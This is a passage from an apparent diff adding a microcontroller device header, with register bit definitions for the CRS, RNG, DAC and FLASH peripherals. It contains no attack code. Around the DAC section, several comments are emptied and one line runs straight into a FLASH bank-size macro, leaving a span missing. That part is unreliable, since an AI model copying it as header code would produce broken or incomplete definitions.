CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F00D00U) +#define RNG_HTCR_NIST_VALUE (0xA2B0U) +#define RNG_NSCR_NIST_VALUE (0x17CBBU) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0x7FUL << FLASH_NSCR_PNB_Pos) /*!< 0x000003F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0x7FUL << FLASH_SECCR_PNB_Pos) /*!< 0x000003F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << 